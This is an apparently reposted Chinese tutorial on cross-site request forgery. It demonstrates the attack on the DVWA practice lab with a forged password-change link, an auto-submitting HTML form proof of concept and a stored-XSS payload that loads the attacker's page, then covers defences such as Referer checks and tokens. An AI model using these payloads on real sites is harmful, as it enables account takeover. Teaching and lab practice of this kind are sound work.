CSRF漏洞的概念、利用方式、防御方案

CSRF漏洞

  • 1.CSRF的概念
    • 1.1 什么是CSRF?
    • 1.2 基本攻击流程
  • 2.CSRF攻击实现
    • 2.1 靶场练习
    • 2.2 CSRF+XSS组合拳
        • 2.2.1 攻击页面部署
        • 2.2.2 构造恶意xss语句,实现重复生效的CSRF
  • 3. CSRF攻击的防御
    • **3.1 只使用JSON API**
    • **3.2 验证HTTP Referer字段**
    • **3.3 在请求地址中添加token验证**

本文从CSRF的定义,攻击流程、利用方案、修复方案等几个流程为大家讲解究竟什么是CSRF。

1.CSRF的概念

1.1 什么是CSRF?

CSRF全称为跨站请求伪造(Cross-site request forgery),是一种网络攻击方式,也被称为 one-click attack 或者 session riding。

1.2 基本攻击流程

下面我们举一个例子,为大家大概介绍一下这种攻击的攻击手段:

角色:

正常浏览网页的用户:User
正规的但是具有漏洞的网站:WebA
利用CSRF进行攻击的网站:WebB

1.用户登录、浏览并信任正规网站WebA,同时,WebA通过用户的验证并在用户的浏览器中产生Cookie。

2.攻击者WebB通过在WebA中添加图片链接等方式诱导用户User访问网站WebB。(比如说这里有劲爆的表演请点击~)

3.在用户User被诱导访问WebB后,WebB会利用用户User的浏览器访问第三方网站WebA,并发出操作请求。

4.用户User的浏览器根据WebB的要求,带着步骤一中产生的Cookie访问WebA。

5.网站WebA接收到用户浏览器的请求,WebA无法分辨请求由何处发出,由于浏览器访问时带上用户的Cookie,因此WebA会响应浏览器的请求,如此一来,攻击网站WebB就达到了模拟用户操作的目的。

在这里插入图片描述

来来来,跟我一起想这个问题,用户和合法网站之间,三次握手建立了稳定连接后,又用https建立了加密通信的通道。到这里,服务器就认为从这个通道过来的都是良民,都是正确的用户请求,直接予以处理。

那么此时,有个hacker使用自己的服务器也好,使用恶意连接也好,诱骗用户在不知情的情况下向服务器发送了带有cookie的请求。那么由于服务器默认处理这些请求,于是,引发用户触发非个人意愿的操作,造成损失。

也就是说,这一切的根源其实就是服务器没有对用户的请求做持续的认证,误以为建立了https就万事大吉了。殊不知,用户的请求也会被在不知情的情况下进行发送。

好,到这里你已经完全掌握了CSRF的攻击核心,如何让用户在不知情的情况下,向服务器发送你构造好的数据?

并且,你也掌握了彻底防御CSRF的核心,那就是添加持续的客户请求合法性验证,彻底消灭CSRF这种无聊的攻击手段。

下面我就从实现攻击和防御两个方向为大家讲解CSRF攻击。

2.CSRF攻击实现

这里就以DVWA靶场进行演示。

2.1 靶场练习

这里可以在security选项卡中选择难度。

在这里插入图片描述
注意DVWA得处于用户登陆状态:
在这里插入图片描述

没有的话访问longin.php进行登陆即可。出于演示的目的我们就将其难度选择为low进行演示。

我们尝试进行修改密码,发现修改的这个信息直接出现在了URL地址栏上边。
在这里插入图片描述

http://192.168.2.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

我们查看页面源码:

在这里插入图片描述

没有进行token过滤,我们可以使用此链接直接生成短链接发送给用户使其点击,即可修改该密码:

http://192.168.2.1/dvwa/vulnerabilities/csrf/?password_new=666666&password_conf=666666&Change=Change#

在这里插入图片描述

成功修改密码

在这里插入图片描述

2.2 CSRF+XSS组合拳

存储型XSS结合CSRF是本人觉得还有些作用的结合方案,至于看到的反射型XSS结合CSRF的案例,还有待商榷。做进一步的探索。

2.2.1 攻击页面部署

这里建议使用 CSRFTester 工具生成的 POC,比使用 BurpSuite 生成的 POC 更加隐蔽,受害者打开该 POC 后,浏览器会自动执行代码随后跳转到正常页面,中途不需要用户交互,也不用像 BurpSuite 生成的 POC 那样还需要受害者手动点击按钮。我们当然要提供一条龙全站式的服务啦。

这个东西的用法,和burp有些相似,代理挂到8008端口上,在csrf疑似页面进行修改对应的抓包信息即可。注意要点击右上角的start recprding。多访问几次即可,然后点击右下角按钮,将对应的html文件生成到桌面上,就可以生成我们的恶意页面。

在这里插入图片描述
生成的html文件还是不能使用我们需要在其倒数第四行添加一行代码:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>

<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "31" );

function pausecomp(millis)
{
    var date = new Date();
    var curDate = null;

    do { curDate = new Date(); }
    while(curDate-date < millis);
}

function fireForms()
{
    var count = 1;
    var i=0;
    
    for(i=0; i<count; i++)
    {
        document.forms[i].submit();
        
        pausecomp(pauses[i]);
    }
}
    
</script>
<H2>OWASP CRSFTester Demonstration</H2>
<form method="GET" name="form0" action="http://192.168.2.1:80/dvwa/vulnerabilities/csrf/?password_new=111111&password_conf=123456&Change=Change">
<input type="hidden" name="password_new" value="456789"/>
<input type="hidden" name="password_conf" value="456789"/>
<input type="hidden" name="Change" value="Change" />
</form>

</body>
</html>

将其部署到我们的恶意攻击服务器上去进行测试:

在这里插入图片描述

我们可以看到访问后直接进行立刻的跳转,我们看一看密码是否成功修改:

在这里插入图片描述
密码修改成功。

2.2.2 构造恶意xss语句,实现重复生效的CSRF

#这里我的页面是写在html里面的,大家可以写上自己的全路径
<script src="x" onerror=javascript:window.open("http://192.168.2.169")></script>

尝试在存储型XSS页面插入我们的恶意语句:

在这里插入图片描述

长度限制???抱歉,我是一个骇客,哈哈哈

在这里插入图片描述

解除限强行插入…

在这里插入图片描述

插入成功,我们进行下一步的测试(记得修改攻击服务器上的对应密码):
在这里插入图片描述

进行测试:

在这里插入图片描述

当然,这样的复合攻击可以让CSRF的利用次数无限延长,确实大大加强了CSRF的攻击性。

3. CSRF攻击的防御

3.1 只使用JSON API

使用JavaScript发起AJAX请求是限制跨域的,并不能通过简单的表单来发送JSON,所以,通过只接收JSON可以很大可能避免CSRF攻击。

3.2 验证HTTP Referer字段

根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站,比如上文中用户User想要在网站WebA中进行转账操作,那么用户User必须先登录WabA然后再通过点击页面上的按钮出发转账事件。

这时该转帐请求的Referer值就会是转账按钮所在的页面的URL,而如果黑客要对银行网站实施 CSRF攻击,他只能在他自己的网站构造请求,当用户User通过黑客的网站发送请求到WebA时,该请求的 Referer 是指向黑客自己的网站。
因此,要防御CSRF攻击,网站WebA只需要对于每一个转账请求验证其Referer值,如果是以网站WebA的网址开头的域名,则说明该请求是来自WebA自己的请求,是合法的。如果Referer是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。

3.3 在请求地址中添加token验证

服务端生成了一个token dsadadarqewajafjoenfeanf

CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

这种方法要比检查 Referer 要安全一些,token 可以在用户登陆后产生并放于 session 之中,然后在每次请求时把 token 从 session 中拿出,与请求中的 token 进行比对

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/2614.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

卫星通信1

偏心率为0&#xff0c;则椭圆变成圆形 偏心率为1 则长轴相比短轴无限长 此时椭圆轨道变成一条直线 半焦距 ae 地球轨道面&#xff0c;称为黄道面 赤道面 中间有个夹角&#xff0c;就是23.5 一般是地心坐标系 沿椭圆轨道探测范围大 在近地点不能提供任何服务,因为覆盖面积太…

【java】笔试强训Day3【在字符串中找出连续最长的数字串与数组中出现次数超过一半的数字】

目录 ⛳选择题 1.以下代码运行输出的是 2.以下程序的输出结果为 3.下面关于构造方法的说法不正确的是 ( ) 4.在异常处理中&#xff0c;以下描述不正确的有&#xff08; &#xff09; 5.下列描述中&#xff0c;错误的是&#xff08; &#xff09; 6.…

Linux下的coredump和kdump

目录前言coredump是什么&#xff1f;运行异常代码查看本地文件多出的core文件gdb调试带上core文件kdump机制前言 在我们之前介绍进程等待的时候&#xff0c;曾经介绍过父进程会等待子进程并且回收子进程的运行结束状态&#xff08;status输出型参数&#xff09;:参考博客 当进…

【Node.js】身份认证,Cookie和Session的认证机制,express中使用session认证和JWT认证

Node.jsWeb开发模式如何选择Web开发模式身份认证什么是身份认证为什么要身份认证不同开发模式的身份认证Session认证机制提高身份认证的安全性Session的工作原理Express中使用Session认证Session认证机制的局限性JWT认证机制JWT的工作原理JWT的组成部分Express中使用JWT在登录成…

Java - 配置中心初体验

目录 前言 配置中心介绍 什么是配置中心 Nacos配置中心 数据结构 命名空间 分组 服务 配置中心添加配置 读取配置 本地添加依赖 本地添加配置 测试 结语 前言 前文讲了ELK&#xff0c;ELK说简单也简单&#xff0c;说复杂也复杂&#xff0c;但说实话&#xff0c;微…

数据库知识总结

数据库知识点总结个人向。 目录第一章 绪论第二章 关系数据库第三章 关系数据库标准语言SQL第四章 数据库安全性第五章 数据库完整性第六章 关系数据理论第七章 数据库设计第十章 数据库恢复技术第十一章 并发控制第一章 绪论 数据(data): 描述事物的符号记录。 数据库(DataB…

基于注解的Spring-AOP应用实例

1、应用场景 需求是&#xff1a;在a系统每次字典数据变更时&#xff0c;都需要给b系统同步一次数据&#xff0c;以保持两个系统字典数据相同。 字典的增、删、改、合并接口&#xff0c;都需要执行数据推送操作&#xff0c;如果不用AOP、这些接口都需要增加推送操作的代码&…

Docker常规安装简介

总体步骤 搜索镜像拉取镜像查看镜像启动镜像,服务端口映射停止容器移除容器 案例 安装tomcat docker hub上面查找tomcat镜像&#xff0c;docker search tomcat从docker hub上拉取tomcat镜像到本地 docker pull tomcatdocker images查看是否有拉取到的tomcat 使用tomcat镜像创…

【带有平移和倾斜头的DIY相机滑块–基于Arduino的项目】

【带有平移和倾斜头的DIY相机滑块–基于Arduino的项目】 1. 前言2. 总体构思3. 构建相机滑块4. 电路图5. 印刷电路板设计6. 组装电子设备7. DIY 相机滑块 Arduino 代码1. 前言 在本教程中,我们将学习如何制作带有平移和倾斜头的电动相机滑块。这个基于 Arduino 的项目是 100%…

【Linux】进程概念二

文章目录进程概念二1. 进程状态2. 进程状态查看3. 僵尸进程3.1 僵尸进程的危害4. 孤儿进程5. 环境变量5.1 常见环境变量5.2 查看环境变量的方法5.3 测试PATH5.4 环境变量相关的命令5.5 环境变量的组织方式5.6 通过代码获取环境变量6. 程序地址空间7. 进程地址空间8. 扩展8.1 为…

如何安装nvm(nvm 安装教程)

如何安装nvm(nvm 安装教程) 一、nvm是什么? nvm是一个node的版本管理工具,可以简单操作node版本的切换、安装、查看等等,与npm不同的是,npm是依赖包的管理工具。 二、安装nvm 1.nvm下载地址 https://github.com/coreybutler/nvm-windows/releases提示:1.nvm-setup.z…

功能测试转型测试开发年薪27W,又一名功能测试摆脱点点点,进了大厂

咱们直接开门见山&#xff0c;没错我的粉丝向我投来了喜报&#xff0c;从功能测试转型测试开发&#xff0c;进入大厂&#xff0c;摆脱最初级的点点点功能测试&#xff0c;拿到高薪&#xff0c;遗憾的是&#xff0c;这名粉丝因为个人原因没有经过指导就去面试了&#xff0c;否则…

CCM调试的理论依据

前言 很久之前在网上看到一些CCM的调试总结&#xff0c;但是没有理论依据&#xff0c;经过我本人的推理&#xff0c;以及和结果比对&#xff0c;这里总结一个我称之为色相环补色原理的调试理论。 CCM理论&#xff1a; CMOS sensor 使用颜色滤波阵列&#xff08;Color Filter…

YOLOV8改进:如何增加注意力模块?(以CBAM模块为例)

YOLOV8改进&#xff1a;如何增加注意力模块&#xff1f;&#xff08;以CBAM模块为例&#xff09;前言YOLOV8nn文件夹modules.pytask.pymodels文件夹总结前言 因为毕设用到了YOLO&#xff0c;鉴于最近V8刚出&#xff0c;因此考虑将注意力机制加入到v8中。 YOLOV8 代码地址&am…

蓝桥杯每日一真题——[蓝桥杯 2021 省 B] 杨辉三角形(二分+规律)

文章目录[蓝桥杯 2021 省 B] 杨辉三角形题目描述输入格式输出格式样例 #1样例输入 #1样例输出 #1提示思路&#xff1a;全部代码&#xff1a;[蓝桥杯 2021 省 B] 杨辉三角形 题目描述 下面的图形是著名的杨辉三角形: 如果我们按从上到下、从左到右的顺序把所有数排成一列&…

配置Maven环境变量

我们现在进行项目开发时&#xff0c;项目中一般都会有依赖包的存在&#xff0c;而这些依赖包一般都是利用Maven进行下载管理的。 一. 下载&安装 下载地址 maven下载地址如下&#xff0c;各位请选择对应系统的maven版本进行下载。 https://maven.apache.org/download.cgi…

做一个前端网页送给女朋友~轮播图+纪念日

文章目录1. 轮播图框架2. 轮播图大盒子实现1. 盒子及图片的可视化2. 将图片重叠起来并放入轮播图盒子中...相对定位与绝对定位3. 添加左右按钮4. 点击按钮跳转图片5. 鼠标离开图片轮播图按钮隐藏6. 添加小圆点按钮7. 点击小圆点跳转图片并且该小圆点变色8. 自动轮播9. 最后一步…

SoC设计流程

此为一个学习记录文&#xff0c;内容可能从书上《SoC设计方法与实现&#xff0c;郭炜等电子工业出版社》来&#xff0c;也可能从网络来。 目录 软、硬件协同设计&#xff1a; 基于标准单元的SoC设计流程&#xff1a; 软、硬件协同设计&#xff1a; SoC 通常被称作系统级芯片…

EasyExcel导入Excel文件,并对文件内容作

首页是pom文件导入EasyExcel的依赖 <dependency><groupId>com.alibaba</groupId><artifactId>easyexcel</artifactId><version>2.2.6</version> </dependency> mysql中添加三个字段做测试 自定义异常类 package com.exampl…

ABC278 F - Shiritori

不懂博弈和状压DP&#xff0c;今晚加训状压DP&#xff01;博弈太难了&#xff0c;东西太多了&#xff0c;等蓝桥杯打完再说QwQF - Shiritori (atcoder.jp)题意&#xff1a;思路&#xff1a;注意到数据范围是到16&#xff0c;因此可以考虑状压DP状态设计&#xff1a;&#xff08…
最新文章